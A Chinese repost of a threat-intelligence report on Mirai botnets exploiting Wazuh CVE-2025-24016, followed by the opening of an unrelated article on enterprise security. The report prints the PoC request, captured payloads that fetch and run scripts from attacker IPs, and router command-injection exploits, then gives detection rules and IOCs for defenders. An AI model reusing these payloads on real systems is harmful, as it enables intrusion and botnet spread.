两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

本文转自 Kyle Lefton 和 Daniel Messing 并作补充

本报告中的所有发现均来源于 SIRT 部署的蜜罐系统,我们并未在实际运行 Wazuh 软件的 Wazuh 生产端点中观察到相同事件。

内容警告:本文使用的一些命名约定来源于攻击者,包含种族辱骂用语和粗俗表达。出于教学和探索目的,我们并未删除或隐藏这类命名。这类用语绝不代表 Akamai 的价值观或观点。

内容提要

  • Akamai 安全情报响应团队 (SIRT) 发现了针对关键远程代码执行 (RCE) 漏洞 CVE-2025-24016 (CVSS 9.9) 的主动利用行为,该漏洞以 Wazuh 服务器为攻击目标。
  • 该漏洞利用去中心化 API (DAPI) 请求,允许攻击者上传未净化的字典来远程执行代码。
  • 我们观察到了 Mirai 变种利用该漏洞的两次攻击活动。其中一个变种名叫“Resbot”,它在域中采用了意大利命名法,可能暗示了目标设备的所有者是哪类人,比如是居住在意大利的人,或者是使用意大利语的人。
  • 2025 年 3 月,Akamai SIRT 团队首次在我们的全球蜜罐网络中发现此类攻击活动。这是自 2025 年 2 月该漏洞首次曝光以来,攻击者主动利用该漏洞的首次报告案例
  • 利用该漏洞的僵尸网络同时还利用了数个已知漏洞,包括 CVE-2023-1389、CVE-2017-17215、CVE-2017-18368 和其它漏洞。
  • 为帮助抵御此威胁,我们在本博文末尾提供了相关的入侵指标 (IOC) 列表。

跳转到 IOC

前言

2025 年 3 月下旬,Akamai SIRT 团队在我们的网络蜜罐集群中观察到了主动利用 CVE-2025-24016 漏洞的攻击企图。SIRT 团队发现,共有两个不同的僵尸网络利用该漏洞,将 Mirai 恶意软件的变种传播到存在漏洞的目标系统中。

什么是 CVE-2025-24016?

2025 年 2 月,在集成 XDR 和 SIEM 功能的开源解决方案 Wazuh 的管理器程序包中,首次曝光了 CVE-2025-24016 漏洞。该漏洞会影响 Wazuh 4.4.0 到 4.9.0 的所有版本,目前 4.9.1 版本已发布,包含该漏洞的修复补丁。该漏洞允许具有 API 权限的远程攻击者使用恶意构造的 JSON 文件,在目标服务器上执行任意代码。

在 Wazuh API 中,系统首先将 DistributedAPI 中的参数序列化为 JSON 格式,然后再使用 framework/wazuh/core/cluster/common.py 文件中的 as_Wazuh_object 将这些参数反序列化。攻击者可以向 DAPI 请求中注入未净化的字典来利用该漏洞,以此解析和执行任意的 Python 代码。

2025 年 2 月下旬,一份概念验证 (PoC) 文档详细说明了如何利用该漏洞实现远程代码执行 (RCE)。攻击者先控制 auth_context 的参数,再使用 run_as 接口端点触发远程代码执行 (RCE)。在这份 PoC 文档中,作者针对 URI /security/user/authenticate/run_as,使用 Burp Suite 请求演示了攻击过程(见图 1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}

图 1:Burp Suite 请求(资料来源:https://github.com/MuhammadWaseem29/CVE-2025-24016)

Authorization 标头字段采用 Base64 编码格式,恶意有效负载包含了未净化的异常 *unhandled_exc*,最终触发了任意 Python 代码的执行——在本场景中,触发了 exit 操作。

主动利用

时间来到 2025 年 3 月上旬,距离 Wazuh 漏洞曝光仅仅过去几周时间,Akamai SIRT 便发现,我们的全球蜜罐网络中有攻击者正试图利用该漏洞。僵尸网络运营者利用最新发布的常见漏洞和风险 (CVE) 发动攻击,速度越来越快,使得漏洞利用时间窗口期越来越短,这便是最新的例证。

Base64 编码格式的 Authorization 标头字段解码后的认证信息显示为 *wazuh-wui:MyS3cr37P450r.*-*,与 PoC 文档中的漏洞利用认证信息完全相同(图 2)。此处的接口端点和请求结构与 PoC 文档的漏洞利用信息相吻合,当然,本案例中的攻击者仅使用该漏洞传播恶意软件。

1
2
3
/security/user/authenticate/run_as {"__unhandled_exc__":{"__args__":["wget http://176.65.134[.]62/w.sh -O /tmp/temp_script.sh || curl -o /tmp/temp_script.sh http://176.65.134[.]62/w.sh; sh /tmp/temp_script.sh"],"__class__":"os.system"}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 2:漏洞利用企图 1 和 PoC 文档的信息完全相同

另外,2025 年 5 月上旬,我们还检测到了针对 /Wazuh 接口端点的请求,该请求的结构虽然与文档记录的信息相似,但在该漏洞针对的标准接口端点处仍有差异。(图 3)。由于该请求与 PoC 文档记录的请求几乎完全相同,只在接口端点处不同,因此这很可能是上述僵尸网络仍然在尝试利用相同的 Wazuh 漏洞发起攻击。

1
2
3
/wazuh {"__unhandled_exc__": {"__class__": "os.system", "__args__": ["wget http://104.168.101[.]27/sh -O- | sh"]}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 3:漏洞利用企图 2 和 PoC 文档的信息仍有差异

僵尸网络 1:多种 Mirai 变体

根据我们的观察,本次主动利用 Wazuh 漏洞事件与两大僵尸网络有关。第一个僵尸网络与 2025 年 3 月上旬的第一轮攻击企图相关,在这轮攻击中,攻击者利用漏洞获取并执行一个恶意 Shell 脚本作为下载器,再将下载器作为主要的 Mirai 恶意软件有效负载(图 4)。与常见的 Mirai 相关 Shell 脚本类似,该脚本兼容各类不同的架构,主要以物联网 (IoT) 设备为攻击目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"busybox wget http://176.65.134[.]62/bins/morte.arm; chmod 777 morte.arm; ./morte.arm morte.arm",
"busybox wget http://176.65.134[.]62/bins/morte.arm5; chmod 777 morte.arm5; ./morte.arm5 morte.arm5",
"busybox wget http://176.65.134[.]62/bins/morte.arm6; chmod 777 morte.arm6; ./morte.arm6 morte.arm6",
"busybox wget http://176.65.134[.]62/bins/morte.arm7; chmod 777 morte.arm7; ./morte.arm7 morte.arm7",
"busybox wget http://176.65.134[.]62/bins/morte.i686; chmod 777 morte.i686; ./morte.i686 morte.i686",
"busybox wget http://176.65.134[.]62/bins/morte.m68k; chmod 777 morte.m68k; ./morte.m68k morte.m68k",
"busybox wget http://176.65.134[.]62/bins/morte.mips; chmod 777 morte.mips; ./morte.mips morte.mips",
"busybox wget http://176.65.134[.]62/bins/morte.mpsl; chmod 777 morte.mpsl; ./morte.mpsl morte.mpsl",
"busybox wget http://176.65.134[.]62/bins/morte.ppc; chmod 777 morte.ppc; ./morte.ppc morte.ppc",
"busybox wget http://176.65.134[.]62/bins/morte.sh4; chmod 777 morte.sh4; ./morte.sh4 morte.sh4",
"busybox wget http://176.65.134[.]62/bins/morte.spc; chmod 777 morte.spc; ./morte.spc morte.spc",
"busybox wget http://176.65.134[.]62/bins/morte.x86; chmod 777 morte.x86; ./morte.x86 morte.x86",
"busybox wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x64",
"rm $0"

代码示例 4:w.sh Shell 脚本内容

这些 Mirai 恶意软件样本被命名为“morte”,似乎是 LZRD Mirai 变体,但它们并不是新面孔,而是已经存在一段时间了。这些恶意软件很容易识别,因为它们在目标设备上执行时,会在设备的控制台输出如下的硬编码特殊字符串:“lzrd here”。

观察到的相关域名

经过对 IP 地址 176.65.134[.]62 调查研究,我们发现该地址反向解析到了 nuklearcnc.duckdns[.]org 的命令和控制 (C2) 域名。请注意,我们有必要指出,Duck DNS 是一家动态 DNS 服务商,只有此处的子域名是恶意域名。

在相近的时间段内,该域名还解析到了 176.65.142.252 这个 IP 地址。该 IP 地址反向解析到了另一个 cbot.galaxias[.]cc 的 C2 域名。根据 VirusTotal 的分析,我们可以发现一个疑似针对 Windows 系统的远程访问木马 (RAT),该木马伪装成 Windows svchost 进程,定期向 cbot.galaxias[.]cc 子域名发送“心跳信号”,以达到命令与控制 (C2) 目的。

另一个子域名 neon.galaxias[.]cc 似乎存在 Mirai 常规变种的相关分发和通信行为。该子域名解析出来的 IP 地址 209.141.34[.]106,也反向解析到了另外两个 C2 域名:pangacnc[.]comjimmyudp-raw[.]xyz

根据 VirusTotal 的记录,jimmyudp-raw[.]xyz 域名共有三个不同名称的 Mirai 恶意软件样本。第一个样本名为“neon”,是一种未识别的 Mirai 变种,通过端口 80 连接到 65.222.202[.]53,实现 C2 通信,而且会在控制台输出硬编码字符串“fuck u nigga”。

第二个样本名为“k03ldc”,似乎是 V3G4 Mirai 变体的修改版或升级版。该样本会在控制台输出硬编码字符串“666V3G4-Katana999”,通过端口 36063 连接到 196.251.86[.]49,实现 C2 通信。

最后是名为“KKveTTgaAAsecNNaaaa”的第三个样本,它是 V3G4 Mirai 变体的原始版本。该版本的恶意软件通过端口 60195 连接到 209.141.34[.]106,实现 C2 通信,感染设备后会输出硬编码字符串“xXxSlicexXxxVEGA”。它会识别目标设备是否已经感染 V3G4 变体,如果确认感染,会输出“We got this shit already”,而不会输出上述的常规硬编码字符串。

根据 VirusTotal 的记录,pangacnc[.]com 域名共有两个不同名称的 Mirai 恶意软件样本,一个名为“KKveTTgaAAsecNNaaaa”,与上文提到的第三个样本完全相同。另一个名为“vision”,是一种 LZRD Mirai 变体,通过端口 80 连接到 65.222.202[.]53,类似于从其它 C2 域名获得的样本“neon”。这种相似,可能掲示出这个名为“neon”的 Mirai 恶意软件是 LZRD 变体的修改版。

其他被利用的漏洞

除了针对 Wazuh 的远程代码执行 (RCE),我们还观察到该僵尸网络正试图利用各类其它已知漏洞发起攻击。被利用的漏洞包括我们已经观察到的数个漏洞(见图 5、6、7),这些漏洞已经在往期博文中详细说明。

1
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64; curl -O http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64"}}, "application-

图 5:Hadoop YARN 漏洞

1
/cgi-bin/luci/;stok=/locale?form=country operation=write&country=$(id>cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://176.65.134[.]62/update.sh; curl -O http://176.65.134[.]62/update.sh; chmod 777 update.sh; sh update.sh; tftp 176.65.134[.]62 -c get tupdate.sh; chmod 777 tupdate.sh; sh tupdate.sh; tftp -r tupdate2.sh -g 176.65.134[.]62; chmod 777 tupdate2.sh; sh tupdate2.sh; ftpget -v -u anonymous -p anonymous -P 21 176.65.134[.]62 update1.sh update1.sh; sh update1.sh; rm -rf update.sh tupdate

图 6:TP-Link Archer AX21 命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2023-1389)

1
/manager_dev_ping_t.gch cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.34[.]106/1.sh; curl -O http://209.141.34[.]106/1.sh; chmod 777 1.sh; sh 1.sh; tftp 209.141.34[.]106 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 209.141.34[.]106; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.34[.]106 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3

图 7:中兴 ZXV10 H108L 路由器 RCE 漏洞利用(详见 https://github.com/stasinopoulos/ZTExploit/blob/master/ZTExploit_Source/ztexploit.py)

僵尸网络 2:Resbot/Resentual 僵尸网络

我们发现的第二个僵尸网络来源于 2025 年 5 月上旬,攻击者尝试利用 /Wazuh 接口端点发起的攻击。与上述第一个僵尸网络相似,攻击者同样会获取并执行一个恶意的 Shell 脚本作为 Mirai 下载器。该恶意软件命名为“resgod”,可通过其硬编码控制台字符串“Resentual got you!”进行识别。该僵尸网络与上述第一个僵尸网络还有一点相似,它的有效负载兼容各类架构,而且以物联网 (IoT) 设备为攻击目标。

我们注意到,该僵尸网络与特定语言联系紧密,这个现象很有意思。它传播恶意软件的各类域名都采用了意大利命名法。例如,类似“gestisciweb.com”的域名可以粗略翻译为“管理网页/网站”。

这些域名与经常用于网络钓鱼攻击的恶意域名非常相似,看上去比它们的 C2 域名“resbot.online”更加合法,相比起来,它们的 C2 域名明显更像恶意域名。这种命名约定表明,这类攻击活动的特定目标是意大利语使用者持有或运营的设备。

恶意软件样本中的字符串未加密,暴露出该软件具有各类额外的扫描能力和漏洞利用能力。恶意软件中的 IP 地址 104.168.101[.]27 采用硬编码格式,通过 TCP 端口 62627 与 C2 服务器通信,该端口是潜在的 C2 端口之一。另外,我们还发现该僵尸网络正试图通过 FTP 服务器的端口 21 传播恶意软件并执行 Telnet 扫描。

这些硬编码漏洞利用之间的区别,请详见图 8、9、10、11。

1
2
3
4
5
6
7
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 440
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp- org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101[.]27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL>. <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL> </u:Upgrade>. </s:Body></s:Envelope>

图 8:华为 HG532 路由器 RCE(详见 https://nvd.nist.gov/vuln/detail/cve-2017-17215)

1
2
3
4
5
6
7
8
9
10
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept:
User-Agent: Hello-World
Connection: keep-alive

<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://104.168.101[.]27/resgod.mips; chmod 777 resgod.mips; ./resgod.mips selfrep.realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

图 9:Realtek SDK Miniigd UPnP SOAP RCE(详见 https://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/cve-2014-8361&sa=D&source=docs&ust=1748461205172738&usg=AOvVaw2FtzN61mQxXkxEWnb9gb05)

1
2
3
4
5
6
7
8
9
10
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: r00ts3c-owned-you
Content-Length: 176
Content-Type: application/x-www-form-urlencoded

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://104.168.101[.]27/resgod.arm7;chmod+777+resgodarm7;./resgodarm7;rm+-rf+resgod.arm7%3b%23&remoteSubmit=Save

图 10:TrueOnline ZyXEL P660HN-T v1 路由器命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2017-18368)

1
&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(echo -e "wget http://104.168.101[.]27/sh" >> /tmp/.res) HTTP/1.0

图 11:通过 FTP 传播

结论

目前 Mirai 的传播态势仍呈相对上升趋势,因为它的传播方式依然十分直接:重新调整并复用旧源代码,以此部署或新建僵尸网络。僵尸网络运营者往往只需要利用新曝光的漏洞,便能轻松完成攻击。

尽管 CVE 计划总体而言能造福行业,但有时候也是一把双刃剑,在曝光漏洞的同时,可能也会提醒恶意攻击者原来还有这些漏洞可供利用。

研究人员创建 PoC,本意是试图向企业普及重视漏洞的重要性,却不断导致不良后果,这恰恰表明,在漏洞补丁发布后及时安装补丁是多么迫切。僵尸网络运营者会密切关注一些漏洞曝光信息,尤其是在有 PoC 代码公开的情况下,这些运营者会迅速改写这些 PoC 代码,扩大运营的僵尸网络规模。

我们近期报告的漏洞只影响已停用设备,但 CVE-2025-24016 不一样,它会影响正在运行过时版本的活跃 Wazuh 服务器。我们强烈建议各企业安装包含了漏洞修复补丁的最新版本,在本文场景下,企业需安装 Wazuh 4.9.1 或更高版本。Wazuh 已发布正确保护系统安全的文档指南,如果企业遵循该指南,这类攻击活动将不足为虑。

关注新动态

Akamai SIRT 将继续监控此类威胁,并随时为我们的客户和整个安全社区报告相关情况。如需第一时间了解 SIRT 以及 Akamai 安全情报组发布的其他重要信息,请查看我们的研究首页并关注我们的社交媒体频道

IOC

为了帮助企业有效防御威胁,我们提供了相关的入侵指标 (IoC) 列表以及 Snort 和 Yara 规则。

针对网络 IoC 的 Snort 规则

针对 C2 IP 的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
alert ip any any -> [209.141.34.106, 176.65.142.137, 65.222.202.53, 196.251.86.49, 176.65.134.62] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
alert http any any -> [nuklearcnc.duckdns.org, jimmyudp-raw.xyz, pangacnc.com, neon.galaxias.cc, cbot.galaxias.cc] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 IP 的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
alert ip any any -> [104.168.101.27, 104.168.101.23, 79.124.40.46, 194.195.90.179] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
alert http any any -> [resbot.online, versioneonline.com, web-app-on.com, assicurati-con-linear.online, webdiskwebdisk.webprocediweb.com, continueoraweb.com, ora-0-web.com, adesso-online.com, multi-canale.com, eversioneweb.com, gestisciweb.com] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对恶意软件样本的 Yara 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$lzrd = "LZRD"
$fucku = "fuck u nigga"
$vega = "xXxSlicexXxxVEGA"
$we_got_this = "We got this shit already"
$katana = "666V3G4-Katana999"

$ip1 = "209.141.34.106"
$ip2 = "176.65.142.137"
$ip3 = "65.222.202.53"
$ip4 = "196.251.86.49"
$ip5 = “176.65.134.62”

$domain1 = "nuklearcnc.duckdns.org"
$domain2 = "jimmyudp-raw.xyz"
$domain3 = "pangacnc.com"
$domain4 = "neon.galaxias.cc"
$domain5 = "cbot.galaxias.cc"

$hash1 = "dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9"
$hash2 = "7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549"
$hash3 = "64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f"
$hash4 = "4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed"
$hash5 = "811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc"
$hash6 = "90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353"
$hash7 = "8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6"
$hash8 = "c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1"
$hash9 = "6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a"

condition:
(
$lzrd or
$fucku or
$vega or
$we_got_this or
$katana or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$ip5 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6 or
$hash7 or
$hash8 or
$hash9
)
}

针对恶意软件样本的 Yara 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
rule Mirai_Malware_IOCs_2
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware."
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$resentual = "Resentual got you"
$ip1 = "104.168.101.27"
$ip2 = "104.168.101.23"
$ip3 = "79.124.40.46"
$ip4 = "194.195.90.179"

$domain1 = "resbot.online"
$domain2 = "versioneonline.com"
$domain3 = "web-app-on.com"
$domain4 = "Assicurati-con-linear.online"
$domain5 = "webdiskwebdisk.webprocediweb.com"
$domain6 = "continueoraweb.com"
$domain7 = "ora-0-web.com"
$domain8 = "adesso-online.com"
$domain9 = "multi-canale.com"
$domain10 = "eversioneweb.com"
$domain11 = "gestisciweb.com"

$hash1 = "9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b"
$hash2 = "be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0"
$hash3 = "e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0"
$hash4 = "4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6"
$hash5 = "a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc"
$hash6 = "941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549"

condition:
(
$resentual or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$domain6 or
$domain7 or
$domain8 or
$domain9 or
$domain10 or
$domain11 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6
)
}

恶意 IPv4 地址(僵尸网络 1)

209.141.34.106

176.65.142.137

65.222.202.53

196.251.86.49

176.65.134.62

恶意域名(僵尸网络 1)

nuklearcnc.duckdns[.]org

jimmyudp-raw[.]xyz

pangacnc[.]com

neon.galaxias[.]cc

cbot.galaxias[.]cc

恶意 IPv4 地址(僵尸网络 2)

104.168.101.27

104.168.101.23

79.124.40.46

194.195.90.179

恶意域名(僵尸网络 2)

resbot[.]online

versioneonline[.]com

web-app-on[.]com

Assicurati-con-linear[.]online

webdiskwebdisk.webprocediweb[.]com

continueoraweb[.]com

ora-0-web[.]com

adesso-online[.]com

multi-canale[.]com

eversioneweb[.]com

gestisciweb[.]com

SHA256 哈希值(僵尸网络 1)

1
2
3
4
5
6
7
8
9
dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9
7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549
64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f
4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed
811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc
90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353
8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6
c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1
6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a

SHA256 哈希值(僵尸网络 2)

1
2
3
4
5
6
9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b
be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0
e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0
4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6
a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc
941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549

查看更多 Mirai 相关信息

互联网企业安全建设思考与实践

互联网企业安全建设思考与实践

本文转自 安全研究与实践 并作补充

受整个大环境的影响,无论国家还是行业层面,现在都开始逐渐关注和重视安全问题。很多互联网企业也都在招聘安全负责人和组建安全团队。越来越多的安全人员开始进入到企业安全领域。一个企业的安全建设该怎么做?思路是什么?安全的价值如何体现?如何从零开始构建一套相对完善和成熟的企业安全体系?如何衡量企业安全建设的效果?等等这些都是企业安全负责人面临的现实问题和挑战,下面我们来共同探讨下以上这些话题。

一、安全与业务的关系

安全对企业来讲很重要,这一点毋庸置疑。但如何给不懂安全的高层讲清楚安全的价值以及安全与业务的关系呢?如果我们直接用专业术语来给对方讲,很大几率他们是听不懂的,效果自然也不会太好。这时就需要转变思路,和对方站在同一维度去考虑问题,用对方可以听懂的语言把安全与业务的关系描述清楚。

如果从业务视角出发,一个企业安全的好坏可能会对公司运营与业务发展、商业竞争、品牌形象、安全合规与法律风险这几个方面产生影响。如果一个企业安全做的不好,那么就无力应对日趋复杂的网络攻击,在攻防对抗中处于被动地位,这样就会制约公司业务的正常运营和发展,到一定程度可能会成为公司发展瓶颈。安全建设和水平落后于竞争对手,在商业竞争中就会处于被动地位。安全问题频发,就会影响公司品牌形象,用户没有安全感,从而造成用户投诉和流失,这样就会带来直接和间接的经济损失。现在安全合规的趋势是越来越严格,信息安全的法律也在不断完善,如果企业在这方面做的不到位将会面临重大安全风险。相反,如果企业安全做的好的话,将会在以上这几方面产生积极和正面的影响,进一步保障和促进公司的发展。如果从以上这几方面来切入,再加上一些公司自身和行业的案例,会更容易让人理解和有说服力。

这里说的安全要跑在业务前面,并不是说安全上投入的钱要多于业务。而是说要有战略眼光,在业务快速发展前提前布局和考虑可能的安全风险,安全提前介入,这样就会更加主动和可以更好的保障和促进业务的发展;如果业务与安全同步发展,基本是一个勉强保障和支撑业务发展的状态;如果安全落后于发展业务,那么问题也就很明显了,企业在安全上会完全处于被动地位,到一定程度一定会成为公司业务发展的瓶颈,甚至决定公司的生死。比如前几天一个做区块链的公司就因为黑客攻击事件宣布关闭。

image

二、互联网企业安全建设整体思路

互联网企业安全建设有一个基本原则,那就是目标导向,要对结果和效果负责。基于这一原则,安全建设要围绕企业核心业务、核心数据和核心资产展开。首先挖掘安全需求和明确安全目标,然后根据设定的安全目标进行分阶段的安全体系规划和建设。但是光有体系还不成,安全是一个动态的过程,所以还需要通过持续的安全运营来发现问题,不断完善和进化,达到逐步提升安全能力的目的。

挖掘安全需求:

在挖掘安全需求这个阶段需要搞清楚两个事情:1、知晓企业目前和未来面临的安全威胁来自哪儿,安全风险和挑战是什么?现有安全能力是什么样的;2、理解公司高层对安全的期望和诉求,这样可以保证大的安全方向不会出问题;

明确安全目标:

在设定安全目标时一定要合理、清晰、量化和可衡量,区分长、中、短期目标,对于目标的理解和需要投入的资源达成一致,这一点非常重要;

安全规划、体系建设:

安全体系中包含的内容非常多,所以我们在建设过程中一定要区分事情的紧急度和优先级,什么阶段做什么事情。而且需要获得高层的支持,否则很多事情是很难推动落地的。

安全运营:

安全运营是一个持续的过程,也是一种不断发现问题和总结经验的过程。

持续优化和完善:

最后通过持续优化和完善将安全建设形成一个完整闭环,实现良性循环。

image

三、互联网企业面临安全风险与影响

在谈安全建设前,我们先来分析下互联网企业面临的安全风险以及这些风险可能造成的影响和引发的后果有哪些。可以从数据安全、业务安全、基础安全、人员安全、安全合规与法律风险五个方面来分析。其他几个方面都比较容易理解,不再多说。为什么要把人员安全单独列出来呢?因为人是整个安全体系最为薄弱、也是最不可控的环节。业界很多著名的安全事件都是因为人员安全意识薄弱导致的,所以我们要对这块给予足够的重视。尤其是人员规模大、变化快的企业更是如此。

以上这些安全风险可能会导致企业大量敏感数据泄露、业务中断、系统稳定性和可用性受到影响,严重的还会成为PR事件,公司声誉、品牌受损,公信力下降,从而造成用户投诉和流失,带来直接或间接经济损失,公司市值下降,IPO受影响。不合规导致被网安、监控机构处罚,或无法正常开展业务以及与外部合作受阻等。

image

